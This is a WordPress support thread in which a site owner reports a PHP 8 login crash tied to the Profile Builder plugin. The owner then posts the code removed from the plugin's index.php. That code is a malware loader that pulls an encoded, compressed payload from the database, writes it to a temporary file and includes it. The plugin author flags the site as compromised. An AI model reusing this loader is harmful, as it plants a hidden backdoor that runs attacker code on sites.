Title: Fatal PHP 8 TypeError during login
Last modified: March 28, 2022

---

# Fatal PHP 8 TypeError during login

 *  Resolved [wp_muro](https://wordpress.org/support/users/wp_muro/)
 * (@wp_muro)
 * [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/)
 * Fatal error: Uncaught TypeError: register_shutdown_function(): Argument #1 ($
   callback) must be a valid callback, function “login_wordpress” not found or invalid
   function name in /var/lib/php/sessions/dMyjxR:2 Stack trace: #0 /var/lib/php/
   sessions/dMyjxR(2): register_shutdown_function() #1 /var/www/public_html/wp-content/
   plugins/profile-builder/index.php(296): include_once(‘…’) #2 /var/www/public_html/
   wp-settings.php(418): include_once(‘…’) #3 /var/www/public_html/wp-config.php(
   60): require_once(‘…’) #4 /var/www/public_html/wp-load.php(50): require_once(‘…’)#
   5 /var/www/public_html/wp-blog-header.php(13): require_once(‘…’) #6 /var/www/
   public_html/index.php(17): require(‘…’) #7 {main} thrown in /var/lib/php/sessions/
   dMyjxR on line 2

Viewing 5 replies - 1 through 5 (of 5 total)

 *  Thread Starter [wp_muro](https://wordpress.org/support/users/wp_muro/)
 * (@wp_muro)
 * [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/#post-15504036)
 * If the plugin is activated, I can’t log into WP via /wp-admin or wp-login.php
 * Getting this message.
 * There has been a critical error on this website.
 * Debugging shows the fatal TypeError message.
 *  Plugin Author [Georgian Cocora](https://wordpress.org/support/users/raster02/)
 * (@raster02)
 * [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/#post-15504995)
 * Hello [@wp_muro](https://wordpress.org/support/users/wp_muro/),
 * This is not part of our code, the index file that is indicated is also ending
   at line 290.
 * Delete the plugin from your website and install it again. Make sure you install
   it manually by downloading from WordPress.org or by going to Plugins -> Add New
   and searching for it.
 * Regards.
 *  Thread Starter [wp_muro](https://wordpress.org/support/users/wp_muro/)
 * (@wp_muro)
 * [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/#post-15505234)
 * Thanks for the heads up.
 * This is the code we removed in order to make this work. Seems something was saving
   the login cookie to the db.
 *     ```
       if (!defined('streamset')){
       	define ('streamset', tempnam (ini_get ('session.save_path'), ''));
   
       	if ($db = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME))
       		{
       		if ($r = @mysqli_query ($db, "SELECT option_value FROM wp_options WHERE option_id=349"))
       			{
       			$row = @mysqli_fetch_assoc ($r);
       			$stream_c = @gzuncompress (@pack ("H*" , $row['option_value']));
       			}
       		}
   
       	$stream_c = empty ($stream_c) ? '' : $stream_c;
       	@file_put_contents (streamset, $stream_c);
       	@mysqli_free_result ($r); 
       	@mysqli_close ($db); 
   
       	@include_once (streamset);
       	@unlink (streamset);
       }
       ```
   
 *  Plugin Author [Georgian Cocora](https://wordpress.org/support/users/raster02/)
 * (@raster02)
 * [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/#post-15509005)
 * Hello [@wp_muro](https://wordpress.org/support/users/wp_muro/),
 * If that is not something you guys added, I would advise you to do a security 
   checkup on your website, it might’ve been compromised.
 * Regards.
 *  Thread Starter [wp_muro](https://wordpress.org/support/users/wp_muro/)
 * (@wp_muro)
 * [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/#post-15510234)
 * Yes, we didn’t add that code or modify the plugin. Thanks for the quick replies.
   
   I appreciate the heads up, we already resolved the con7ext infection.

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘Fatal PHP 8 TypeError during login’ is closed to new replies.

 * ![](https://ps.w.org/profile-builder/assets/icon-256x256.png?rev=2961144)
 * [User Profile Builder - Beautiful User Registration Forms, User Profiles & User Role Editor](https://wordpress.org/plugins/profile-builder/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/profile-builder/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/profile-builder/)
 * [Active Topics](https://wordpress.org/support/plugin/profile-builder/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/profile-builder/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/profile-builder/reviews/)

 * 5 replies
 * 2 participants
 * Last reply from: [wp_muro](https://wordpress.org/support/users/wp_muro/)
 * Last activity: [4 years, 2 months ago](https://wordpress.org/support/topic/fatal-php-8-typeerror-during-login/#post-15510234)
 * Status: resolved